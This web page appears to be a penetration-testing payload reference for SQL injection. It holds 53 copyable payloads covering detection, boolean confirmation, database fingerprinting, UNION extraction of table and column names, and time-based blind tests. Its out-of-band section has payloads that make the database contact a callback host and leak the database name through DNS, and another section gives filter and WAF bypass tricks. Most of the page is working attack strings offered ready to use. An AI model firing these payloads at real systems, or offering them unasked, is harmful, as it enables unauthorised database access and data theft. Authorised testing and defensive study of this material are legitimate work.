PAYLOADS
Engagement set once — every payload copies with these filled in

SQL injection

class

Breaking out of a string or numeric context so the database runs your syntax instead of treating it as data.

53 payloads · updated 2026-08-24 · see also Encoding and bypass · raw

01Detect

Make the app behave differently. You are not exploiting anything yet.

Cheapest thing first, one character at a time, into every parameter, header and cookie — not just the ones that look like IDs. Sort order, page size, language cookies and X-Forwarded-For all end up in queries.

BREAK THE QUERY7
'Single quote. Breaks most string contexts. Always start here.
COPY
"Double quote. Some drivers and ORMs quote with these.
COPY
\Backslash. Breaks escaping logic even where quotes are filtered.
COPY
')
COPY
'))When the parameter sits inside nested parentheses.
COPY
1
COPY
1-0Numeric context. If this returns the same row as 1, the value is being evaluated as maths, not a string.
COPY

What a hit looks like — a SQL error string in the body, a 500 where you had a 200, a blank response, or the same 200 with a different Content-Length. That last one is the most commonly missed and the most common in practice. Diff the response sizes, don't just eyeball the page.

02Confirm with boolean logic

Prove you control the WHERE clause, not just that something crashed.

An error only tells you your input reached the database badly. A boolean pair tells you the database is evaluating what you send. Always send both halves and compare.

TRUE / FALSE PAIRS6
' OR 1=1-- -TRUE. The -- - form survives trailing-space stripping where a bare -- does not.
COPY
' AND 1=2-- -FALSE. Must differ from the above or you have nothing.
COPY
' OR 'a'='aWhen comment characters are filtered — closes the quote instead of commenting out the rest.
COPY
' AND 'a'='b
COPY
1 AND 1=1Numeric context, no quotes needed.
COPY
1 AND 1=2
COPY

Identical responses mean it is not injectable here. Move to the next parameter rather than escalating. Most wasted time on SQLi goes into escalating against a parameter that never confirmed in the first place.

03Fingerprint the database

Everything past this point is engine-specific. Guessing costs hours.

Concatenation syntax is the fastest tell because it differs on every major engine and fails loudly when wrong.

STRING CONCATENATION4
Oracle/PG
'a'||'b'
COPY
MSSQL
'a'+'b'
COPY
MySQL
CONCAT('a','b')On MySQL || is logical OR by default, so it returns 0 rather than a string.
COPY
MySQL/SQLite
'a' 'b'Implicit concatenation — two adjacent string literals.
COPY
VERSION STRINGS4
MySQL/MSSQL
@@version
COPY
PostgreSQL
version()
COPY
Oracle
SELECT banner FROM v$version
COPY
SQLite
sqlite_version()
COPY
COMMENT SYNTAX AND STACKING
MySQL# or -- — the second needs a trailing space or control character
PostgreSQL--, and stacked queries are allowed
MSSQL--, stacking allowed, which is why xp_ procedures are reachable
Oracle--, no ; stacking — everything has to fit in one statement

MySQL versioned comments do double duty. /*!50000SELECT*/ executes on MySQL 5.0 and above and is an ordinary comment to every other parser. If a payload works with it and fails without, you have confirmed MySQL and confirmed a filter sits in front of it.

04Find the extraction route

Four routes, in descending order of how much you'll enjoy them.

UNION (data in the response) → error-based (data in the error) → boolean blind (one bit per request) → time blind (one bit per request, slowly)
COLUMN COUNT4
' ORDER BY 1-- -
COPY
' ORDER BY 5-- -Increase until it errors. The last working number is your column count.
COPY
' UNION SELECT NULL-- -
COPY
' UNION SELECT NULL,NULL-- -Add NULLs until the error stops. Works where ORDER BY is filtered.
COPY
UNION EXTRACTION5
MySQL
' UNION SELECT NULL,table_name FROM information_schema.tables-- -
COPY
MySQL
' UNION SELECT NULL,GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='users'-- -
COPY
PostgreSQL
' UNION SELECT NULL,string_agg(tablename,',') FROM pg_tables-- -
COPY
MSSQL
' UNION SELECT NULL,name FROM sysobjects WHERE xtype='U'-- -
COPY
Oracle
' UNION SELECT NULL,table_name FROM all_tables-- -
COPY

Oracle needs a FROM on every SELECT — use FROM dual when you have no real table. This is the single most common reason a copied Oracle payload fails.

05Blind and out-of-band

No output, no error, no timing difference? Make the database call you.

Out-of-band beats time-based whenever the database can reach the network. It is faster, it survives jitter, and one DNS hit is unambiguous proof where a five-second delay is arguable.

OUT-OF-BAND4
MSSQL
'; exec master..xp_dirtree '\\{{CALLBACK}}\a'-- -Fires a DNS lookup and an SMB connection. Needs stacking, which MSSQL allows.
COPY
PostgreSQL
SELECT dblink_connect('host={{CALLBACK}} user=x dbname=x')Requires the dblink extension to be installed.
COPY
Oracle
SELECT UTL_INADDR.get_host_address('{{CALLBACK}}') FROM dual
COPY
MySQL
SELECT LOAD_FILE(CONCAT('\\',(SELECT database()),'.{{CALLBACK}}\a'))Windows only, and it exfiltrates the database name inside the subdomain you receive.
COPY
TIME-BASED FALLBACK6
MySQL
' AND SLEEP(5)-- -
COPY
MySQL
' AND IF(1=1,SLEEP(5),0)-- -
COPY
MSSQL
'; WAITFOR DELAY '0:0:5'-- -
COPY
PostgreSQL
' AND pg_sleep(5)-- -
COPY
PostgreSQL
' AND 1=(SELECT 1 FROM PG_SLEEP(5))-- -When the bare form is filtered.
COPY
Oracle
' AND 1=DBMS_PIPE.RECEIVE_MESSAGE('a',5)-- -
COPY

Baseline before you believe it. Send the same payload with a zero-second delay and time it. An endpoint that already takes four seconds will happily convince you it is injectable when it is not.

06When a filter is in the way

Nothing here is worth trying until you have a payload that works without the filter.

Get it working somewhere unfiltered first — a local instance, a different parameter, a test endpoint — then transform it. Blind-firing transformed payloads at a filtered endpoint produces results you cannot interpret.

WHITESPACE ALTERNATIVES6
/**/Comment used as a separator. The SQL lexer treats it as whitespace.
COPY
%09Tab.
COPY
%0aLine feed.
COPY
%0bVertical tab. Separates SQL tokens but breaks an HTML tag — a useful differential.
COPY
UNION(SELECT(1),(2))Parentheses remove the need for whitespace entirely.
COPY
SELECT(username)FROM(users)WHERE(id)=(1)
COPY
KEYWORD SPLITTING3
UN/**/ION SEL/**/ECT
COPY
/*!50000UNION*//*!50000SELECT*/MySQL versioned comment — executes on MySQL, comment everywhere else.
COPY
UNIunionON SELECselectTDefeats a filter that strips the keyword exactly once.
COPY
STRING CONSTRUCTION4
MySQL
0x61646d696eHex literal for the string admin — the word never appears in the request.
COPY
MySQL
CHAR(97,100,109,105,110)
COPY
PostgreSQL
CHR(97)||CHR(100)||CHR(109)
COPY
MSSQL
CHAR(97)+CHAR(100)+CHAR(109)
COPY

The full treatment of encodings, decode chains and parser differentials is on the encoding page. What's here is only the SQL-specific subset.

Two you will see in old write-ups that no longer work. The GBK charset squeeze — %bf%27 surviving escaping to become a valid multibyte character plus a live quote — needed the connection charset to be multibyte. Modern deployments default to utf8mb4, where it does nothing. And ' OR 1=1/* with an unterminated block comment is rejected by current parsers rather than swallowing the rest of the statement. If a recent article presents either as live, it was copied from an old one.

/
↑↓ move⏎ copy⇧⏎ open pageesc close